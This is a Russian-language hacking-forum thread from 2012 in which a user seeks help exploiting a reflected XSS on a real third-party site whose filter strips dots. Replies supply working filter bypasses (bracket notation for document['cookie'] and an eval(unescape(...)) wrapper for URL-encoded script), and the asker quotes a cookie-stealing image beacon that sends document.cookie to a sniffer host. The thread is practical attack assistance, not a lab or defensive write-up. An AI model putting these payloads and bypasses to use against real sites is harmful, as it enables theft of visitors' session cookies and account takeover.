Сложность с Пассивной XSS

Discussion in 'Песочница' started by Jake _Gr33n, 18 Jan 2012.

  1. Jake _Gr33n

    Jake _Gr33n New Member

    Joined:
    7 May 2011
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Вообщем ситуация такая...
    Есть один сайт с полем ввода данных, это поле не фильтрует запросы и передаёт эти запросы на второй сайт, где правильно составленный запрос выполняется в виде скрипта.
    Проблема в том, что запрос передаётся в поле, с очень жёсткой фильтрацией символов, и кроме как алерта с простым текстом ни чего сделать не выходит.
    Кароче:
    <script>alert("XSS")</script> - выполняется
    <script>alert(document.cookie)</script> - не выполняется, потому что там есть точка.

    В чём дело, бро? Как это порешать?
     
  2. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452
    покажи (ПМ если хочешь)
     
    _________________________
  3. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    <script>alert(document["cookie"])</script>

    UDP: Легче всё зашифровать, так как точи в доменах и т. п. Тоже будут резаться.
     
    #3 randman, 18 Jan 2012
    Last edited: 19 Jan 2012
  4. Jake _Gr33n

    Jake _Gr33n New Member

    Joined:
    7 May 2011
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Выводит!
    А как теперь присобочить стандартное:
    img = new Image(); img.src = "http://sniffer.site.ru/blablabls.gif?"+document.cookie;

    ?

    :)
     
  5. Jake _Gr33n

    Jake _Gr33n New Member

    Joined:
    7 May 2011
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Да, я глупый скриптикидди. Но ничего деструктивного делать я не собираюсь, спортивный интерес + новые знания
     
  6. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    URL-кодируешь весь свой скрипт и запихиваешь его в
    eval(unescape('script encoded'))